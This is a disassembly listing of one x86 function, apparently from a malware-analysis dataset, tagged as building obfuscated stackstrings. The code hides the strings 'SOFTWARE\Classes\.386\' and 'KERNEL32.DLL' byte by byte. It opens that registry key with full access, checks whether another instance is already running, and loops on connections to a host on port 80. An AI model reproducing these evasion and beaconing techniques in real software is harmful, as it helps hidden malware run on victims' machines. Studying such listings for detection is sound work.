Function at 0x419c22
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xa078
call fcn.004206e0
push ebx
push esi
push edi
call fcn.00419bb1
test eax, eax
jne 0x419c43
push 0
call dword [0x401120]
push 0x402a88
push 0x402a98
call dword [fcn.00401004]
push eax
call dword [section..text]
mov dword [ebp - 0x1fc], eax
call fcn.0041982f
mov byte [ebp - 0x11c], 0x53
mov byte [ebp - 0x11b], 0x4f
mov byte [ebp - 0x11a], 0x46
mov byte [ebp - 0x119], 0x54
mov byte [ebp - 0x118], 0x57
mov byte [ebp - 0x117], 0x41
mov byte [ebp - 0x116], 0x52
mov byte [ebp - 0x115], 0x45
mov byte [ebp - 0x114], 0x5c
mov byte [ebp - 0x113], 0x43
mov byte [ebp - 0x112], 0x6c
mov byte [ebp - 0x111], 0x61
mov byte [ebp - 0x110], 0x73
mov byte [ebp - 0x10f], 0x73
mov byte [ebp - 0x10e], 0x65
mov byte [ebp - 0x10d], 0x73
mov byte [ebp - 0x10c], 0x5c
mov byte [ebp - 0x10b], 0x2e
mov byte [ebp - 0x10a], 0x33
mov byte [ebp - 0x109], 0x38
mov byte [ebp - 0x108], 0x36
mov byte [ebp - 0x107], 0x5c
mov byte [ebp - 0x106], 0
lea eax, [ebp - 0x200]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x11c]
push ecx
push 0x80000002
call dword [0x404044]
test eax, eax
je 0x419d36
nop
nop
nop
or eax, 0xffffffff
jmp 0x41a108
push 0
push 0
push 0
push 0x418e0d
push 0
push 0
call dword [ebp - 0x1fc]
mov byte [ebp - 0x130], 0x4b
mov byte [ebp - 0x12f], 0x45
mov byte [ebp - 0x12e], 0x52
mov byte [ebp - 0x12d], 0x4e
mov byte [ebp - 0x12c], 0x45
mov byte [ebp - 0x12b], 0x4c
mov byte [ebp - 0x12a], 0x33
mov byte [ebp - 0x129], 0x32
mov byte [ebp - 0x128], 0x2e
mov byte [ebp - 0x127], 0x44
mov byte [ebp - 0x126], 0x4c
mov byte [ebp - 0x125], 0x4c
mov byte [ebp - 0x124], 0
push 0x402aa8
lea edx, [ebp - 0x130]
push edx
call dword [fcn.00401004]
push eax
call dword [section..text]
mov dword [ebp - 0x104], eax
push 0x402ab8
push 0
push 0
call dword [ebp - 0x104]
mov dword [ebp - 0x134], eax
call dword [0x401030]
cmp eax, 0xb7
jne 0x419e05
mov eax, dword [ebp - 0x134]
push eax
call dword [fcn.00401014]
mov dword [ebp - 0x134], 0
xor eax, eax
jmp 0x41a108
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call dword [fcn.00401040]
push eax
push 0x402ad0
push 0x422ba4
call dword [0x4040f0]
add esp, 0xc
push 0x30
call fcn.0042067c
add esp, 4
push 1
call dword [0x40111c]
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0x50
mov dword [ebp - 0x120], 0
lea ecx, [ebp - 0x1f0]
call fcn.004073c0
mov byte [ebp - 0x204], 0
mov ecx, 1
test ecx, ecx
je 0x41a0ed
mov edx, dword [ebp - 0x204]
and edx, 0xff
test edx, edx
je 0x419f14
mov eax, dword [ebp - 0x204]
and eax, 0xff
cmp eax, 3
je 0x419f14
mov dword [ebp - 0xa074], 0
jmp 0x419ec0
mov ecx, dword [ebp - 0xa074]
add ecx, 1
mov dword [ebp - 0xa074], ecx
cmp dword [ebp - 0xa074], 0xc8
jge 0x419f14
push 0x422ba4
push 0
push 0x1f0003
call dword [0x401118]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
je 0x419f07
lea ecx, [ebp - 0x1f0]
call fcn.00407fd3
mov edx, dword [ebp - 0x120]
push edx
call dword [fcn.00401014]
jmp 0x419f14
push 0xc8
call dword [fcn.00401018]
jmp 0x419eb1
mov dword [ebp - 0x1f8], 0x402680
xor eax, eax
mov ax, word [0x4028d8]
mov dword [ebp - 0x1f4], eax
call dword [fcn.00401040]
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x1f4]
push ecx
mov edx, dword [ebp - 0x1f8]
push edx
lea ecx, [ebp - 0x1f0]
call fcn.004076a8
and eax, 0xff
test eax, eax
jne 0x419f66
mov byte [ebp - 0x204], 2
jmp 0x419e78
mov dword [ebp - 0xa070], 0xffffffff
push 0x4028dc
call dword [fcn.00401040]
sub eax, dword [ebp - 0x208]
push eax
lea eax, [ebp - 0x1f0]
push eax
lea ecx, [ebp - 0x100]
push ecx
call fcn.00419560
add esp, 0x10
mov edx, dword [ebp - 0x1f4]
push edx
mov eax, dword [ebp - 0x1f8]
push eax
push 0x422ba4
mov ecx, dword [0x422a98]
push ecx
lea edx, [ebp - 0x100]
push edx
lea eax, [ebp - 0x1f0]
push eax
lea ecx, [ebp - 0xa068]
call fcn.00410cdb
lea ecx, [ebp - 0xa068]
push ecx
lea ecx, [ebp - 0x1f0]
call fcn.004081bd
mov dword [ebp - 0x20c], 0
jmp 0x419ff8
mov edx, dword [ebp - 0x20c]
add edx, 1
mov dword [ebp - 0x20c], edx
cmp dword [ebp - 0x20c], 0xa
jge 0x41a022
lea ecx, [ebp - 0xa068]
call fcn.00411947
and eax, 0xff
test eax, eax
jne 0x41a022
push 0x3e8
call dword [fcn.00401018]
jmp 0x419fe9
lea ecx, [ebp - 0xa068]
call fcn.00411947
and eax, 0xff
test eax, eax
jne 0x41a046
lea ecx, [ebp - 0xa068]
call fcn.00410dd4
jmp 0x419e78
push 0
call dword [fcn.00401018]
call dword [fcn.00401040]
mov dword [ebp - 0x208], eax
push 0x422ba4
push 0
push 0x1f0003
call dword [0x401118]
mov dword [ebp - 0x120], eax
push 0x64
mov eax, dword [ebp - 0x144]
push eax
call dword [fcn.00401008]
mov dword [ebp - 0xa06c], eax
push 0x1f4
call dword [fcn.00401018]
cmp dword [ebp - 0x120], 0
jne 0x41a0a4
cmp dword [ebp - 0xa06c], 0
jne 0x41a05a
cmp dword [ebp - 0x120], 0
je 0x41a0d2
lea ecx, [ebp - 0x1f0]
call fcn.00407fd3
mov ecx, dword [ebp - 0x120]
push ecx
call dword [fcn.00401014]
lea ecx, [ebp - 0xa068]
call fcn.00410dd4
jmp 0x41a0ed
push 0x1b58
call dword [fcn.00401018]
lea ecx, [ebp - 0xa068]
call fcn.00410dd4
jmp 0x419e78
mov dword [ebp - 0xa078], 0
lea ecx, [ebp - 0x1f0]
call fcn.004075ad
mov eax, dword [ebp - 0xa078]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10